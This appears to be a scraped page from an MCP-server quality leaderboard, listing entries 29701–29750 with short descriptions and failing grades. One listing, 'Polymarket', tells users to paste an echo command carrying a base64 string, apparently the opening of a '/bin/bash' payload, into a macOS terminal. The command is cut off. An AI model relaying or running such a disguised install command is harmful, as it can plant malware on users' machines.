MCP Server Quality Scores
Independent quality analysis of 64827 public MCP servers
Last updated 30 minutes ago
Grade Distribution
Score Distribution
| # | Server | Score ↓ | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| ◔ Limited Scores | ||||||||||
| 29701 |
WZRD Protocol
Claim
Analyze AI attention markets and track velocity oracle feeds for software platf…
|
F 30 3⁄5 | ||||||||
| 29702 |
HS Code Classifier
Claim
Classify products to official HS codes and validate supplier codes before custo…
|
F 30 2⁄4 | ||||||||
| 29703 |
Real-time LTL carrier fuel surcharge rates for freight and logistics AI workflo…
|
F 30 3⁄5 | ||||||||
| 29704 |
Polymarket
Claim
For installation: Open a MacOS terminal and enter the command: echo 'L2Jpbi9iYX…
|
F 30 3⁄5 | ||||||||
| 29705 |
PutPut
Claim
Manage cloud-hosted files and storage through the PutPut platform. Streamlines …
|
F 30 3⁄5 | ||||||||
| 29706 |
PreClick: An MCP-native URL preflight security scanning service for autonomous …
|
F 30 3⁄5 | ||||||||
| 29707 |
SEC Intelligence
Claim
Monitor real-time SEC filings and insider trading activity to stay ahead of mar…
|
F 30 3⁄5 | ||||||||
| 29708 |
Analog
Claim
Access and analyze real-time geographic sensor data across various global locat…
|
F 30 3⁄5 | ||||||||
| 29709 |
proof
Claim
# Proof
Code-validated pattern intelligence from pydantic-ai's actual sou…
|
F 30 3⁄5 | ||||||||
| 29710 |
data-converter
Claim
A data conversion service that transforms between **16 formats, 240 conversion …
|
F 30 3⁄5 | ||||||||
| 29711 |
vsf-club
Claim
|
F 30 3⁄5 | ||||||||
| 29712 |
verifiedstate-mcp
Claim
Verified memory infrastructure for AI agents. Every assertion signed, timestamp…
|
F 30 3⁄5 | ||||||||
| 29713 |
Kinescope MCP Server
Claim
Kinescope MCP Server — Integrates Kinescope's video platform with AI assistants…
|
F 30 3⁄5 | ||||||||
| 29714 |
Infobip Search MCP
Claim
Search Infobip documentation to quickly find guides, use cases, and best practi…
|
F 30 3⁄5 | ||||||||
| 29715 |
suba-1234
Claim
|
F 30 3⁄5 | ||||||||
| 29716 |
Detect hidden FX fees on international bank transfers in 30 seconds.
Score 1-1…
|
F 30 3⁄5 | ||||||||
| 29717 |
Agent News
Claim
The intelligence layer agents use before they act, sourced answers on the agent…
|
F 30 3⁄5 | ||||||||
| 29718 |
nexus
Claim
Zero-setup MCP gateway securely connecting AI to your tools with authentication…
|
F 30 3⁄5 | ||||||||
| 29719 |
JobGPT AutoApply
Claim
JobGPT MCP server automates your entire job search — from finding jobs to auto …
|
F 30 3⁄5 | ||||||||
| 29720 |
Tickerr Live Status
Claim
Real-time status, pricing, and inference latency for 90+ AI tools. Agent-report…
|
F 30 3⁄5 | ||||||||
| 29721 |
Gitlab MCP Server
Claim
Model Context Protocol (MCP) server for GitLab — exposes 1000 GitLab REST & Gra…
|
F 30 3⁄5 | ||||||||
| 29722 |
Alai Presentations
Claim
Create, edit, and export high quality presentations with AI using Alai’s MCP. S…
|
F 30 3⁄5 | ||||||||
| 29723 |
hello-server
Claim
Greet anyone with a friendly, customizable message. Tailor tone and format for …
|
F 30 3⁄5 | ||||||||
| 29724 |
Sidearm
Claim
Protect media using watermarking, content disruption, and adversarial hardening…
|
F 30 3⁄5 | ||||||||
| 29725 |
MCP server for Binance Thailand (Gulf Binance) API — trade crypto, monitor mark…
|
F 30 3⁄5 | ||||||||
| 29726 |
machinehearts
Claim
The dating app for AI agents. Register, discover compatible agents, match, buil…
|
F 30 3⁄5 | ||||||||
| 29727 |
Let's Clarify
Claim
Your AI agent creates a form via API — one recipient for a quick approval, or t…
|
F 30 3⁄5 | ||||||||
| 29728 |
A unified DeFi data server for Ethereum and Base, delivering real-time token pr…
|
F 30 3⁄5 | ||||||||
| 29729 |
Penfield
Claim
Manages long-term memory and cognitive state to enable personalized and consist…
|
F 30 3⁄5 | ||||||||
| 29730 |
Danube
Claim
The App Store for Agent Tools
|
F 30 3⁄5 | ||||||||
| 29731 |
smart-data-extractor
Claim
smart-data-extractor MCP server on Cloudflare Workers · REST + MCP JSON-RPC · f…
|
F 30 3⁄5 | ||||||||
| 29732 | F 30 3⁄5 | |||||||||
| 29733 |
nordic-financial-mcp
Claim
Semantic search across 375,000+ Nordic financial documents for AI agents. Cover…
|
F 30 3⁄5 | ||||||||
| 29734 |
JHJ-email-mcp
Claim
AI-powered email assistant MCP server. Features: send emails, manage SMTP accou…
|
F 30 3⁄5 | ||||||||
| 29735 |
NWS Weather & Aviation
Claim
Access real-time US weather forecasts, alerts, radar, and station observations …
|
F 30 3⁄5 | ||||||||
| 29736 |
mlb-api-mcp-2033
Claim
|
F 30 3⁄5 | ||||||||
| 29737 |
Artribune
Claim
Explore the Italian contemporary art scene by accessing a vast database of arti…
|
F 30 3⁄5 | ||||||||
| 29738 |
AurelianFlo
Claim
Pay-per-call compliance API for OFAC screening, vendor diligence, and audit-rea…
|
F 30 3⁄5 | ||||||||
| 29739 |
gaproll
Claim
EU Directive 2023/970 (Pay Transparency) compliance tools for Polish employers.…
|
F 30 3⁄5 | ||||||||
| 29740 |
TourClaim
Claim
Streamline the management of travel insurance claims and booking lookups for to…
|
F 30 3⁄5 | ||||||||
| 29741 |
Identifies SEO content gaps by comparing your work against top-ranking competit…
|
F 30 3⁄5 | ||||||||
| 29742 |
MCP server for Binance Global — the world's largest cryptocurrency exchange. 23…
|
F 30 3⁄5 | ||||||||
| 29743 |
CustomerGauge
Claim
Book a personalized demo to explore NPS, Account Experience, and B2B CX ROI wit…
|
F 30 3⁄5 | ||||||||
| 29744 |
Financial Services
Claim
AI-powered financial services marketplace connecting borrowers with 200+ lender…
|
F 30 3⁄5 | ||||||||
| 29745 |
Echo
Claim
A simple echo MCP server for testing - updated 1773323437
|
F 30 3⁄5 | ||||||||
| 29746 |
vsfclubshilpa
Claim
|
F 30 3⁄5 | ||||||||
| 29747 |
Unit conversion API for AI agents. Convert between length, weight, temperature,…
|
F 30 3⁄5 | ||||||||
| 29748 |
Tracking Time MCP
Claim
Query time entries, projects, tasks, and team productivity data from any AI ass…
|
F 30 3⁄5 | ||||||||
| 29749 |
lia
Claim
Share a brief name and what your server does so I can craft a clean title and b…
|
F 30 3⁄5 | ||||||||
| 29750 |
Regex testing API for AI agents. Test regex patterns against strings: get all m…
|
F 30 3⁄5 | ||||||||